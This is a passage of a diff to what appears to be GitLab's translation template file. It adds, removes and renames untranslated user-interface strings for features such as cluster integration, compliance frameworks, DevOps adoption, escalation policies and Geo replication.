-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
